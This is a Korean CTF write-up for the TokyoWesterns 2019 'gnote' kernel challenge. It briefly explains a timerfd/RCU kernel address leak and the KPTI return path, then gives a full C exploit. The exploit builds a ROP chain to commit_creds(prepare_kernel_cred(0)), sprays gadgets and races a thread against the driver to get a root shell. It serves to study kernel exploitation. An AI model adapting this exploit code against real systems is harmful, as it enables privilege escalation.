TokyoWesterns CTF 2019 gnote
Kernel Address Leak를 하기위해 timerfd_ctx에서 남긴 함수 포인터를 릭해서 하는 방법인데, timerfd_ctx를 free를 할때 timerfd_release함수에서 kfree_rcu를 한다.
이게 바로 free가 되는게 아니라 한번 sleep를 걸어줘야하는데 그 이유는 RCU때문이다. RCU에 관한 것은 https://lwn.net/Articles/262464/ 여기에 자세히 나와있어서 심심할 때 읽어봐야겠다.
KPTI (Kernel Page Table Isolation) 이라고해서 예전이 이슈된 Meltdown의 방지를 위해 cs, ss register가 다 셋팅이 되어있다고 해도 User Page 에서는 Kernel Page가 맵핑되어 있지 않고 Kernel Page에서는 User Page가 Non-Executable로 맵핑이 되어 있어, User와 Kernel의 관계를 더 분리시켜 마음대로 실행을 못 시키도록 하였다. 그래서 Kernel -> User 로 갈때는 Page 정보가 들어있는 CR3 레지스터와 0x1000를 or 연산을 해주어야 정상적으로 User Context로 넘어간다.
이 밑 두개의 write-up를 참고하였다. RPISEC이 쓴 영어 글은 매우 간결하고 쉽게 나와있으며 smallkirby이 쓴 글은 일본어라서 보기 힘들지만 처음부터 아주 자세히 알려준다
https://rpis.ec/blog/tokyowesterns-2019-gnote/
https://smallkirby.hatenablog.com/entry/2019/11/19/225504#timerfd_release%E3%81%A8RCU
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/mman.h>
#include <linux/tty.h>
struct write_gnote {
unsigned int select;
unsigned int size_or_idx;
};
int fd = 0;
int chk = 0;
struct write_gnote wn;
void write_kernel(){
puts("write_kernel");
while(1){
wn.select ^= 0x40100000 / 8;
}
}
void hexdump(char *buf, size_t len)
{
int i , j;
for(i=0; i<len/16+1; i++) {
printf("%02d | ",i);
for(j=0; j<16; j++)
{
if(i*16+j >= len)
break;
printf("%02x ",buf[i*16+j]&0xff);
}
printf("| ");
for(j=0; j<16; j++)
{
if(i*16+j >= len)
break;
if(isprint(buf[i*16+j]) && buf[i*16+j] != '\n' && buf[i*16+j] != '\t' && buf[i*16+j] != ' ')
{
printf("%c",buf[i*16+j]);
}
else if(buf[i*16+j] == '\n')
{
printf("\\n");
}
else if(buf[i*16+j] == '\t' )
{
printf("\\t");
}
else if(buf[i*16+j] == ' ')
{
printf(" ");
}
else
{
printf(".");
}
}
printf("\n");
}
}
void shell(){
system("sh");
}
unsigned long leak(){
struct itimerspec timespec = { {0, 0}, {100, 0}};
int tfd = timerfd_create(0,0);
timerfd_settime(tfd, 0, ×pec, 0);
close(tfd);
sleep(1);
unsigned long * buf = (unsigned long * )malloc(0x100);
printf("BUF : %p \n",(void *)buf);
wn.select = 1;
wn.size_or_idx = 0x100;
write(fd,&wn,1);
wn.select = 5;
wn.size_or_idx = 0;
write(fd,&wn,1);
read(fd,buf,0x100);
hexdump((char * )buf,0x100);
printf("Leaked : %p \n" , (void *)buf[5]);
return buf[5];
}
int main(){
fd = open("/proc/gnote",O_RDWR);
if(fd < 0){
printf("fd is broken! \n");
return 0;
}
unsigned long kernel_base = leak() - 0x15a2f0;
unsigned long commit_creds = kernel_base + 0x69df0;
unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
unsigned long xchg = kernel_base + 0x1992a; // xchg esp,eax; ret;
printf("[*] kernel_base : %p \n" , (void *)kernel_base);
printf("[*] commit_creds : %p \n" , (void *)commit_creds);
printf("[*] prepare_kernel_cred : %p \n" , (void *)prepare_kernel_cred);
printf("[*] xchg : %p \n" , (void *)xchg);
unsigned int stack = xchg & 0xffffffff; // mov rax, ds:off_220[rax*8]; <-- xchg
void * stack_addr = mmap((void *)(stack & 0xfffff000) , 0xa000 , PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
printf("[*] stack_addr : %p \n",stack_addr);
unsigned long rop[100] = {0,};
rop[0] = kernel_base + 0x1c20d; // pop rdi
rop[1] = 0;
rop[2] = prepare_kernel_cred;
rop[3] = kernel_base + 0x21ca6a; // mov rdi, rax
rop[4] = 0; // pop rbp
rop[5] = commit_creds;
rop[6] = kernel_base + 0x37523; // pop rcx , SYSRET copies the value saved in RCX to the RIP.
rop[7] = &shell;
rop[8] = kernel_base + 0x1025c8; //pop r11 , SYSRET copies the value saved in R11 to the RFLAGS
rop[9] = 0x202;
rop[10] = 0; //pop rbp
rop[11] = kernel_base + 0x600116; //set cr3 , swapgs, sysretq
rop[12] = 0; //pop rax
rop[13] = 0; //pop rdi
rop[14] = stack;
memcpy(stack , &rop , sizeof(rop));
wn.select = 0;
pthread_t p_thread;
/*
0xffffffffc02c2020 <gnote_write+32>: mov rax,QWORD PTR [rax*8-0x3fd3cf68]
hex(0x40000000 - 0x3fd3cf68) -> 0x3000
*/
unsigned long * xchgs = mmap((void *)0x1000, 0x1000000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
printf("[*] xchgs : %p \n" , (void *)xchgs);
for(int i=0; i < 0x1000000 / 8; i ++){
xchgs[i] = xchg;
}
pthread_create(&p_thread,NULL,(void *)write_kernel,NULL);
while(1){
write(fd , &wn, 100);
}
}
int timerfd_create(int clockid , int flags){
asm volatile("syscall" :: "a"(SYS_timerfd_create));
}
Leave a Reply